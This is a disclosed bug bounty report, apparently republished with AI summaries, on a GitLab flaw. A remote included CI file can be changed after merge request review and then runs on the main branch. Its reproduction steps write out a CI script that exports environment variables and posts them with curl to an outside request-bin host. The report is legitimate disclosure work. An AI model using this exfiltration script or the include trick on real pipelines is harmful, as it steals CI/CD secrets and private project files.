Original project is not updated when a remote include .gitlab-ci.yml file is changed
A developer could change a remote included CI configuration file after a merge request pipeline had run, so the pipeline shown to the maintainer did not reflect the new content. When the maintainer merged, the updated remote file executed malicious code on the main branch, allowing theft of CI/CD variables and private project files.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
HackerOne report #1276845 by justas_b on 2021-07-24, assigned to @rshambhuni:
Report | Attachments | How To Reproduce
Report
Summary
When a user with a developer role updates remote include .gitlab-ci.yml file, there is no new pipeline run on the original project. Also, there is no notification or update that shows if the remote include .gitlab-ci.yml file has been changed.
A malicious developer can exploit this and modify the remote .gitlab-ci.yml file after he submitted the merge request and the merge request pipeline has been completed. When a maintainer inspects the merge request pipeline, it will only show the previous version of the remote include .gitlab-ci.yml file, and not the updated version. If the maintainer doesn't check the remote .gitlab-ci.yml file directly and accepts the merge request, the remote .gitlab-ci.yml file executes malicious code on the main branch.
It is possible to steal project and group ci/cd variables using the "- export" command.
Steps to reproduce
Account A (owner)
- Create a group and add at least one group ci/cd variable
- Create a project and add at least one project ci/cd variable
- Invite account B to the group and give him a developer role
Account B (developer)
- Create a personal project outside the account A's group
- Create a .gitlab-ci.yml file with the following code (on the personal project)
image: ruby:latest
job_name2:
script:
- echo "test"

- Copy personal project's .gitlab-ci.yml raw url
- Go to the group project where you have a developer role
- Create a new branch with the following changes to .gitlab-ci.yml file:
include:
- '(personal projects .gitlab-ci.yml raw url)'

- A new pipeline should execute the remote .gitlab-ci.yml code and that pipeline should be displayed on the merge request page


- Change the personal project's .gitlab-ci.yml file:
image: ruby:latest
job_name2:
script:
- export > test.txt
- curl -X POST --data "$(cat test.txt)" https://requestbin.net/r/54l0shea

Account A (owner)
- Go to the merge request page, you should see that there are no new pipelines indicating changes on the remote .gitlab-ci.yml file.

- Accept the merge request and go to the latest pipeline page. The pipeline runs on the main branch and includes the updated remote .gitlab-ci.yml file.

- The updated remote .gitlab-ci.yml file exports the group and project ci/cd variables and sends them to attacker controlled website using a curl request.


A practical attack scenario:
- A user includes a non-malicious remote .gitlab-ci.yml file to a project where he only has a developer max role.
- For the first few merge requests maintainer probably checks the remote .gitlab-ci.yml file directly and also inspects the merge request pipeline.
- After some time, the maintainer stops checking the remote .gitlab-ci.yml file directly (if he ever did in the first place).
- Maintainer only inspects the merge request pipeline run and not the remote .gitlab-ci.yml file directly (developer can include multiple remote .gitlab-ci.yml files and inject malicious code into only one of them at the right time)
- A developer injects malicious code into the remote .gitlab-ci.yml file he controls - no update on the merge request page
- Maintainer merges the request and malicious code gets executed in the main branch (pipeline runs as the maintainer/owner and not developer)
What is the current bug behavior?
Original project is not updated when a remote include .gitlab-ci.yml file is changed
What is the expected correct behavior?
The original project should be updated when a remote include .gitlab-ci.yml file is changed. It can be done by creating a new pipeline on the original project that executes the changes on the remote .gitlab-ci.yml file as the developer.
Output of checks
This bug happens on GitLab.com
Impact
A user with the developer role can steal project and group ci/cd variables by injecting malicious code into a remote .gitlab-ci.yml file. It is also possible to steal owner's/maintainer's private project files using $CI_JOB_TOKEN.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- bandicam_2021-07-24_20-20-54-456.jpg
- bandicam_2021-07-24_20-26-39-048.jpg
- bandicam_2021-07-24_20-27-27-673.jpg
- bandicam_2021-07-24_20-28-25-897.jpg
- bandicam_2021-07-24_20-44-33-117.jpg
- bandicam_2021-07-24_20-20-30-142.jpg
- bandicam_2021-07-24_20-22-42-949.jpg
- bandicam_2021-07-24_20-25-33-425.jpg
- bandicam_2021-07-24_20-24-41-238.jpg
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A developer could steal project and group CI/CD variables and potentially private project files using the job token.
What the attacker needed
Developer role in a group project; ability to create a personal project; maintainer merges without checking remote file
The fix
The original project should be updated when a remote included CI file changes, for example by creating a new pipeline that executes the changes.
How it was found
- Create a group and project with CI/CD variables, and invite a developer.
- As the developer, create a personal project with a .gitlab-ci.yml file and copy its raw URL.
- In the group project, create a branch that includes the remote .gitlab-ci.yml file.
- Run the pipeline and observe it on the merge request page.
- Change the remote .gitlab-ci.yml file to export variables and send them to an attacker-controlled site.
- Observe no new pipeline on the merge request, then merge and see the updated remote file execute on the main branch.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A developer can include a CI configuration file from another project. The merge request pipeline shows the old version of that file, but after merging, the new version runs with the maintainer's permissions. This lets the developer steal secrets like CI/CD variables.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.